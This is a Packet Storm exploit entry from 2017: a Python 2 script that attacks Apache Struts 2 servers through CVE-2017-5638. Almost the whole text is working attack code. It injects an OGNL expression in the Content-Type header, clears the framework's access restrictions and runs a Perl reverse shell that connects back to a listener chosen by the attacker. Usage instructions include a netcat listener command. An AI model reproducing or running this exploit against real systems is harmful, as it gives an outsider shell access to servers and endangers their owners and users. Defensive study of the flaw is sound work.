Apache Struts 2 2.3.x / 2.5.x Remote Code Execution

2017-03-10T00:00:00
ID PACKETSTORM:141576
Type packetstorm
Reporter anarc0der
Modified 2017-03-10T00:00:00

Description

                                        
                                            `# CVE-2017-5638  
# Apache Struts 2 Vulnerability Remote Code Execution  
# Reverse shell from target  
# Author: anarc0der - github.com/anarcoder  
# Tested with tomcat8  
  
# Install tomcat8  
# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638  
  
# Ex:  
# Open: $ nc -lnvp 4444  
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444  
  
"""  
Usage:  
struntsrce.py --target=<arg> --ip=<arg> --port=<arg>  
struntsrce.py --help  
struntsrce.py --version  
  
Options:  
-h --help Open help menu  
-v --version Show version  
Required options:  
--target='url target' your target :)  
--ip='10.10.10.1' your ip  
--port=4444 open port for back connection  
  
"""  
  
import urllib2  
import httplib  
import os  
import sys  
from docopt import docopt, DocoptExit  
  
  
class CVE_2017_5638():  
  
def __init__(self, p_target, p_ip, p_port):  
self.target = p_target  
self.ip = p_ip  
self.port = p_port  
self.revshell = self.generate_revshell()  
self.payload = self.generate_payload()  
self.exploit()  
  
def generate_revshell(self):  
revshell = "perl -e \\'use Socket;$i=\"{0}\";$p={1};"\  
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"\  
"if(connect(S,sockaddr_in($p,inet_aton($i)))){{open"\  
"(STDIN,\">&S\");open(STDOUT,\">&S\");"\  
"open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};\\'"  
return revshell.format(self.ip, self.port)  
  
def generate_payload(self):  
payload = "%{{(#_='multipart/form-data')."\  
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\  
"(#_memberAccess?"\  
"(#_memberAccess=#dm):"\  
"((#container=#context['com.opensymphony.xwork2."\  
"ActionContext.container'])."\  
"(#ognlUtil=#container.getInstance(@com.opensymphony."\  
"xwork2.ognl.OgnlUtil@class))."\  
"(#ognlUtil.getExcludedPackageNames().clear())."\  
"(#ognlUtil.getExcludedClasses().clear())."\  
"(#context.setMemberAccess(#dm))))."\  
"(#cmd='{0}')."\  
"(#iswin=(@java.lang.System@getProperty('os.name')."\  
"toLowerCase().contains('win')))."\  
"(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:"\  
"{{'/bin/bash','-c',#cmd}}))."\  
"(#p=new java.lang.ProcessBuilder(#cmds))."\  
"(#p.redirectErrorStream(true)).(#process=#p.start())."\  
"(#ros=(@org.apache.struts2.ServletActionContext@get"\  
"Response().getOutputStream()))."\  
"(@org.apache.commons.io.IOUtils@copy"\  
"(#process.getInputStream(),#ros)).(#ros.flush())}}"  
return payload.format(self.revshell)  
  
def exploit(self):  
try:  
# Set proxy for debug request, just uncomment these lines   
# Change the proxy port  
  
#proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})  
#opener = urllib2.build_opener(proxy)  
#urllib2.install_opener(opener)  
  
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'  
' AppleWebKit/537.36 (KHTML, like Gecko)'  
' Chrome/55.0.2883.87 Safari/537.36',  
'Content-Type': self.payload}  
xpl = urllib2.Request(self.target, headers=headers)  
body = urllib2.urlopen(xpl).read()  
except httplib.IncompleteRead as b:  
body = b.partial  
print body  
  
  
def main():  
try:  
arguments = docopt(__doc__, version="Apache Strunts RCE Exploit")  
target = arguments['--target']  
ip = arguments['--ip']  
port = arguments['--port']  
except DocoptExit as e:  
os.system('python struntsrce.py --help')  
sys.exit(1)  
  
CVE_2017_5638(target, ip, port)  
  
  
if __name__ == '__main__':  
main()  
`